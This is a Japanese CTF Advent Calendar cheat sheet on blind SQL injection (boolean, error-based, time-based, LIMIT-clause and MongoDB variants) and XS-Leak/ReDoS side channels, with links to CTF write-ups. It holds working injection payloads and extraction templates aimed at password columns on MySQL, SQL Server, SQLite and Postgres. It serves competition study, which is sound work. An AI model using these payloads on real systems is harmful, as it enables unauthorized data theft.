この記事はCTFのWebセキュリティ Advent Calendar 2021の12日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
- サイドチャネル攻撃
- 「物理的な特性を外部から観察あるいは測定することで情報を取得すること」らしい(Wikipediaより)
- 自分は間接的な情報を利用することで(正攻法ではない方法で)情報を得ようとすること全般を指して呼んでいるのだが、正しいだろうか?
- オラクル攻撃
Blind SQL Injection
たぶんlikeを使ったものが一番わかりやすい。
SELECT * FROM users WHERE pass = '[ユーザー入力部分]'
となっているときに' UNION SELECT * FROM users WHERE pass like 'a%
と差し込むと、
SELECT * FROM users WHERE pass = '' UNION SELECT * FROM users WHERE pass like 'a%'
となる。こうすると、passwordがaから始めるならレコードが帰ってくることになる。
レコードがあればログイン成功、なければ失敗というシステムであれば、
パスワードがaから始まるならログイン成功
パスワードがaから始まらないならログイン失敗
というオラクルが作れたことになる。これを使って全探索すると、パスワードの全文を特定することができる。
このように実際に結果を取得できなくても、yes/noが判断できるならば情報を抜き出すことのできるテク。
- いつ使える?
- 基本的にはSQLiできるなら使える
- 種類
- Boolean-based Blind SQLi
- 上の例で示したようなレスポンスではっきりyes/noが分かるようなもの
- 色々な種類がある(ログインの成功失敗、HTTPレスポンスコードの違い、エラーの出る出ない、数の増減…)
- Error-based Blind SQLi
- 条件がtrueなら意図的にエラーが発生するようなSQL文を書くことで、エラーの発生有無でyes/noを判断する
- Time-based Blind SQLi
- 眠らないTime-Based SQL Injection - WAF Tech Blog | クラウド型 WAFサービス Scutum 【スキュータム】
- SQL文でifとsleepを使用することができ、条件がtrueならsleepするということを使えば、応答が早い・遅いでyes/noを判断可能
- Out-of-band
- Boolean-based Blind SQLi
- 参考
Error-based Blind SQL Injection
- 条件分岐させる
- IF構文を使う
- 適当にWHEREの条件にでも
if(見たい条件,エラー発生文,エラー未発生文)
を書けばいい - 例
' or id = 'admin' and if({md} <= length(pw), (select 1 union select 2), 2) #
- 適当にWHEREの条件にでも
- A or B ここ
- AがtrueならBは評価されないので、Bにエラーを書いておけばtrueならエラーが出ないようにできる
- A and Bで逆をしてもいい
- 例
({md} <= length(pw) and (select id union select 2))
- なぜかうまくいかなかったりする。
- whereに条件を入れて、select内容にエラー発生原因を埋め込む ここ
(select exp(1783) where {md} <= length(pw))
これをWhereの中にでも入れておく- exp(1783)はオーバーフローエラーを引き起こす
- case when構文を使う
case when pw like '0%' then 1 else 9e307*2 end
みたいに使う- if構文と違ってかっこがいらない
- IF構文を使う
- エラーを出すには
Time-based Blind SQL Injection
- Error-based Blind SQL InjectionとSQL文は大差ない。
if(条件,sleep(1),0)
といった感じ。- これをwhereの1つにでも置けばいい。
xor(if(now()=sysdate(),sleep(10),0))or
- MySQL
admin ' and (select*from(select(sleep(20)))a)--
admin' and IF(1=(SELECT 1 FROM users WHERE Length(pass) = 27),sleep(10),0) #
- SQL Server
if 条件 waitfor delay '00:00:01' else waitfor delay '00:00:00'
これをSQL文末尾に置いておけばいい- 条件には
0 <= (select len(password) from Users where id='admin')
のように改めて値は取ってくる必要がある
- 条件には
- 使ったやつ
'id':f"' or {md} <= (SELECT LENGTH(group_concat(sql)) FROM sqlite_master) --",
'id':f"' or {md} <= (SELECT unicode(substr(group_concat(sql),{i+1},1)) FROM sqlite_master) --",
- Postgres
#query = "select current_database()" -> scpfoundation #query = "array_to_string( ARRAY( (select DISTINCT TABLE_SCHEMA from information_schema.columns) ),',' )" -> public,pg_catalog,information_schema #query = "array_to_string( ARRAY( (select DISTINCT TABLE_NAME from information_schema.columns where TABLE_SCHEMA='public') ),',' )" -> users,experiments #query = "array_to_string( ARRAY( (select DISTINCT COLUMN_NAME from information_schema.columns where TABLE_NAME='users') ),',' )" -> id,name,password,stap #query = "array_to_string( ARRAY( (select name from users) ),',' )" -> glenn,teddy,admin query = "array_to_string( ARRAY( (select password from users) ),',' )" -> 965182,e2ec2b31a377a
として、以下で判定
q = f"Gnomial' AND {md} <= (select length({query})) --"
q = f"Gnomial' AND {md} <= (select ascii(substring({query},{i+1},1))) --"
- MongoDB
- http://ajmalsiddiqui.me/blog/squarectf-2020-deep-web-blog/
db.posts.find({"$where": "function(){if(this.content!=undefined){return this.content.includes('flag{a')} else {return false}}"})
- whereによる判定関数を使っている
- http://ajmalsiddiqui.me/blog/squarectf-2020-deep-web-blog/
テク
- オススメの流れ
- lengthを使って攻撃対象の長さを調べる
- 各文字について二分探索で答えを見つける
- 全探索ではなく二分探索による高速化
- 全探索ではなく、if句を使用して二分探索することもできる
- こっちの方が圧倒的に高速なのでできる場合はオススメ
- 参考
<>=
のような比較演算子がフィルタリングされているときにstrcmpで代用するテクがある- sqllimit.pdf - Google ドライブ
- 1&&1+strcmp([カラム名],BINARY 0x[ここに文字列のhex表現])
- 例えば先頭がT(0x54)であれば、BINARY 0x54とすればtrueになるし、BINARY 0x55以降ならfalseになる
- limit句にインジェクションするとき
- limitの後ろにunionでテーブルを追加することはできないが、攻撃方法はある
- オラクルとして利用する
limit=(CASE WHEN (SELECT ascii(substr(usename, x, 1)) FROM pg_user LIMIT 1) < 99 THEN 1 ELSE 0 END)
- このようにすることでx文字目のasciiコードが99より小さいなら1要素でてきて、そうでないなら0要素というオラクルになる
- offsetを併用する
- limitの後ろはoffsetなら置ける
1 limit ascii(substr((Select version()),x,1))
- こうすると、x文字目をアスキーコードに変更した番目の要素が得られる
- なるほど
- ちなみに
- substr(string, position, length)
- positionは1-indexed
- ascii(string|char) -> int
- アスキーコードに変換してくれる
- substr(string, position, length)
- オラクルとして使用したときのソルバ SECCON beginners CTF 2020 writeup - La Vie en Lorse
- マルチバイト文字やUnicodeを抜き取るとき
- たまにいじわる問題でASCII文字じゃない文字を抜き取る場合がある
- この場合はhex関数を噛ませて、
' || id = 'admin' && {md} <= length(hex(pw)) #
のようにして、hex表現で取ってくる - Unicode Converter - Decimal, text, URL, and unicode converter
- このサイトで戻せば取得できる
- information_schema.tablesテーブルでは
order by table_type
をつけると先頭にユーザーテーブルが来るみたい - like文を使った賢い戦略(にぶたんの方が多分早いけど、これも捨てがたい)
- Blind SQL Injection
-
_
を使って文字長を特定する(これは必須ではない気がするけど) -
%[一文字]%
というのを候補の文字について行って使われているかを特定する。これによって探索空間を大幅に減らす(賢い!) - 先頭から
a%
みたいに探索していく
Blind SQLi 問題 CTF Writeups
- 常設
- Blind SQL Injection ~ ksnctf #6 login ~ - Qiita
- なんと常設ksnctfの6問目がBlind SQLi!常設でリクエストが多そうなBlind SQLiを置いてるというのは尊敬する。
- CTF、Wargame.kr #19 dbms335のwriteupというか説明備忘録 | taiyakon
- Lord of SQLInjectionのiron_golem
- Error-based Blind SQL Injection
- Blind SQL Injection ~ ksnctf #6 login ~ - Qiita
- 常設じゃない
- CTFtime.org / m0leCon CTF 2020 Teaser / Skygenerator / Writeup
- SECCON beginners CTF 2020 writeup - La Vie en Lorse
- CryptixCTF'19 Writeup - Pure Magic - こんとろーるしーこんとろーるぶい
- Pragyan CTF writeup part3 - きゅうり。
- CTF日本語サイト : Pragyan CTF 2018 writeup Animal attack
- CTFtime.org / HacktivityCon CTF / Waffleland / Writeup
XS-Leak Attack / XS-Search Attack
- XS Leak
- 応答の微妙な違いを利用して、サイドチャネル攻撃を仕掛ける
- 時間的違い、ステータスコードの違い、単に中身の違い
- おうちでキャンプ: 2019 年全国大会「体系的に学ぶモダン Web セキュリティ」 - セキュリティ・キャンプ ブログ
- Frame Counting | XS-Leaks Wiki
- 応答の微妙な違いを利用して、サイドチャネル攻撃を仕掛ける
- 色々なXS Leak
- Content-Disposition ヘッダがXS-Leakに使える
- 記事
- Leaking issues from linked Jira – Atlassian Confluence Server – yeuchimse
- ConfluenceのJQLを使った検索結果を画像で受け取れるのだが、そのサイズからヒットしたかどうかを判別することができ、XS-Leakできる
- LINE CTF 2021 Writeup ([Web] diveinternal, Your Note) - もしくはこれ
- Browsing History Sniffing 最前線 - あなたのブラウザ履歴を狙う攻撃たち – やっていく気持ち
- 履歴があるかどうかを判定可能
- http://bawolff.blogspot.com/2021/10/write-up-pbctf-2021-vault.html
:visited
があるとXSLeakできるかも
- Leaking issues from linked Jira – Atlassian Confluence Server – yeuchimse
Blind Regular Expression Injection Attack / XS-Leaks with ReDoS
- A Rough Idea of Blind Regular Expression Injection Attack – やっていく気持ち
- Sensitive情報とヒットすればReDoSが発生するようにすれば、応答が早いか遅いかをオラクルとしてBlindで情報を抜き出せる
- これができる仕組みが作れれば、Blind SQLiっぽくやるだけ
- CTFtime.org / justCTF [*] 2020 / Computeration Fixed / Writeup